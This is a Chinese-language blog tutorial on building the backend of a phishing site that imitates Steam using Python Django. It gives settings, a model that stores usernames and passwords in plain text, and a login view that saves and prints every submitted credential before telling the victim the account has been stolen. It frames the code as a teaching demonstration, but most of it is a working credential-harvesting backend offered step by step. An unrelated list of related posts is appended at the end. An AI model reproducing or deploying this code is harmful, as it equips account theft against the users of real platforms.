前言

我们日常上网的时候,总是会碰到一些盗号的网站,或者是别人发一些链接给你,里面的内容是一些可以免费购物网站的优惠券、游戏官网上可以免费领取皮肤、打折的游戏。

这些盗号网站统一的目的都是要你登录账号输入密码,点击登录,不过就是永远会提示你密码错误,登录不上。但你输入的所有信息,都会出现在别人的电脑上

而今天,我们的目的就是搭建一个这样的网站后端,简单的还原一下你被盗号的过程

环境搭建

安装Django模块

pip install django[==版本]

如:pip install django==3.0
安装django的指定版本

创建Django项目

在命令指示符里数据命令

django-admin startproject steam_web


manage.py是命令文件,如果要运行Django内置的命令,必须要通过这个文件才行

创建子应用

把网站的各个模块拆分成子应用

python manage.py startapp login


会生成一个login文件,打开文件

介绍下我们会用到的文件

models.py文件:数据模型
views.py文件:用来控制页面逻辑

查看项目是否环境配置成功

可以用pycharm直接打开文件,然后点击运行

运行后会给出一段域名,点击打开

如果出现下面的页面,就说明该项目环境配置成功了

开始实现功能

点击进入settings.py文件,进行定制化修改

Application definition 网站子应用进行注册,在最后一行写入login

# Application definition
# 网站子应用进行注册
INSTALLED_APPS = ['django.contrib.admin','django.contrib.auth','django.contrib.contenttypes','django.contrib.sessions','django.contrib.messages','django.contrib.staticfiles','login',
]

创建一个templates文件,并修改代码

# templates 文件夹的配置项
TEMPLATES = [{'BACKEND': 'django.template.backends.django.DjangoTemplates','DIRS': [os.path.join(BASE_DIR, 'templates')],'APP_DIRS': True,'OPTIONS': {'context_processors': ['django.template.context_processors.debug','django.template.context_processors.request','django.contrib.auth.context_processors.auth','django.contrib.messages.context_processors.messages',],},},
]

配置网站默认语言、时间

# 网站默认语言 英文 修改成中文
LANGUAGE_CODE = 'zh-hans'
# 当前时间
TIME_ZONE = 'Asia/Shanghai'USE_I18N = TrueUSE_L10N = TrueUSE_TZ = False

最后在刷新网站页面,就变成了中文

静态页面当中的文件夹配置,并在总目录中创建一个static文件夹

STATIC_URL = '/static/'
STATICFILES_DIRS = [os.path.join(BASE_DIR, 'static'),
]

导入所需文件


开始编写数据模型

打开**models.py文件,需要去创建一个模型类

from django.db import models# Create your models here.class User(models.Model):name = models.CharField(max_length=20)pwd = models.CharField(max_length=20)

编写视图

打开views.py文件,编写视图,是控制网站与用户的交互逻辑

# 渲染html文件到浏览器的
from django.shortcuts import render
from django.views.generic import View
from .models import User
from django.http import HttpResponse
# Create your views here.# 在浏览器中显示网站首页
def index(request):return render(request, 'index.html')# 登录类视图
class Login(View):def get(self, request):return render(request, 'denlu.html', locals())'''当用户在页面中输入了一些数据可以使用post去做接收'''def post(self, request):name = request.POST.get('username')pwd = request.POST.get('password')User.objects.create(name=name, pwd=pwd).save()print(name)print(pwd)return HttpResponse('你的账号已经被盗, 溜了 溜了~')

在urls.py文件里编写路由

from django.contrib import admin
from django.urls import path
from login.views import index, Loginurlpatterns = [path('admin/', admin.site.urls),path('', index, name='index'),path('login/', Login.as_view(), name='login')
]

同步数据库

因为只是个教学,所以用是自带的:sqlite3,文件型小型数据库

点击打开后,在这里输入makemigrations,这是将数据模型中的字段编译成一个Python的脚本,包含了sql语言

确定后会给你生成一个0001_initial.py文件

然后在执行脚本,输入 migrate 将数据模型映射到数据库中


运行文件,效果如下图

选择点击登录,输入账号密码,点击确定


然后你的账号密码会被打印出来

为何钓鱼网站一钓一个准?Python Django带你搭建steam钓鱼网站相关推荐

  1. 【Python Django Web项目】利用 Python+Django+Pycharm+MySQL 搭建一个自己的Web网站项目的步骤(详细图文)上集

    今天我们要来介绍一下, 利用 Python+Django+Pycharm+MySQL 搭建一个自己的Web网站项目的步骤 首先我们要建立一个专门放项目的文件夹 如下 E:\Projects , 我们建 ...

  2. python 登陆网站图片验证,用python登录带弱图片验证码的网站

    上一篇介绍了使用python模拟登陆网站,但是登陆的网站都是直接输入账号及密码进行登陆,现在很多网站为了加强用户安全性和提高反爬虫机制都会有包括字符.图片.手机验证等等各式各样的验证码.图片验证码就是 ...

  3. python个人博客搭建说明书_技术分享|利用Python Django一步步搭建个人博客(二)...

    原标题:技术分享|利用Python Django一步步搭建个人博客(二) Hello,欢迎来到我们的"利用Python Django一步步搭建个人博客"系列的第二部分.在第一部分中 ...

  4. 用python搭建个人博客过程_技术分享|利用Python Django一步步搭建个人博客(四)...

    您好,欢迎来到本期"利用Python Django一步步搭建个人博客"系列的第四部分.在上一篇教程中,我们学习了如何编写URL并将其映射到页面.在我们继续之前,我们需要做的一件事是 ...

  5. 用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准

    前言 我们日常上网的时候,总是会碰到一些盗号的网站,或者是别人发一些链接给你,里面的内容是一些可以免费购物网站的优惠券.游戏官网上可以免费领取皮肤.打折的游戏. 这些盗号网站统一的目的都是要你登录账号 ...

  6. 新手如何搭建一个比较简单的网站?完全不会代码的新手小白搭建自己的网站流程分享!

    本人是个代码小白,完全不懂,一开始心里面想着自己完全不会代码,建站是一件不可想象的事情,畏难情绪很高,但是现实总是有些残忍,有些方面没有自己的网站业务很不好开站.所以必须搭建一个自己的网站,一步一步百 ...

  7. Python+Django电影推荐系统搭建

    文章目录 1. 新建虚拟环境 2. 数据库设置 2.1 安装PostGreSQL 2.2 为MovieGEEK创建数据库 2.3 安装Python数据库驱动程序 2.4 配置Django数据库连接以连 ...

  8. python+django+layUI+MySQL搭建4G设备管理平台项目(一)

    项目来源:大学毕业已经十多年了,突发奇想为自己做个4G设备平台.因为4G设备涉及内容太多,用Excel来管理太不方便了,另外涉及多用户同时使用,用的金山文档里的Excel,可以多用户,却又损失了很多原 ...

  9. py217-基于Python+django的服装销售商城网站#毕业设计

    开发语言:Python 编号:py217-基于Python的服装销售商城网站 python框架:django 软件版本:python3.7/python3.8 数据库:mysql 5.7或更高版本 数 ...

最新文章

  1. Deployment,configuration and management Microsoft Windows Server win2003 cluster
  2. 深入理解三次握手四次挥手以及使用scapy实现ddos雏形
  3. 两个有序数组的中位数—leetcode4
  4. 图像分类数据库_图像分类器-使用僧侣库对房屋房间类型进行分类
  5. netif_start_queue/netif_wake_queue/netif_stop_queue
  6. 一个代码托管平台居然公开拒招中国人,谁给了你歧视中国程序员的勇气?
  7. wcf双工通讯遇到的问题
  8. python基础之拆包、匿名函数、文件的初级应用
  9. 视频号的商业想象空间,在前天更新后,会在以下3个方面
  10. [Android]Eclipse连不上模拟器的问题[emulator-5554 disconnected](转)
  11. su: /bin/bash: Permission denied带来的疑惑
  12. 一些经常会用到的Javascript检测函数
  13. 网站前端_EasyUI.基础入门.0002.带你玩转jQuery EasyUI Panel组件 ?
  14. java玻璃效果_swing透明效果(没aero毛玻璃那么好看)
  15. 学习笔记:聚类算法Kmeans/K-均值算法
  16. packages are looking for funding
  17. 数值分析(2)-多项式插值: 拉格朗日插值法
  18. 前端开发的就业前景和收入怎么样啊
  19. rolling用法实例
  20. log4j之additivity

热门文章

  1. 坎蒂雷赋权法 matlab,多重网格法求解雷诺方程的MATLAB编程
  2. Go SCP 通信顺序进程模型chan通道
  3. win10关机后自动重启_win10电脑自动关机设置方法
  4. 第一部分 思科九年 一(1)
  5. 凡科怎么添加html,如何给自己建立的网站添加嵌入页面?
  6. 链表中LinkList L与LinkList *L的区别以及(*L).elem,L.elem L-next,(*L)-next的区别
  7. 机构扎堆四大领域绩优股
  8. 控制工程专业英语词汇
  9. SUB 1G 无线射频芯片-DP4301
  10. Max3成功刷入原生Android,小米Max 2用户类原生系统福利:第三方开发者为其适配LineageOS...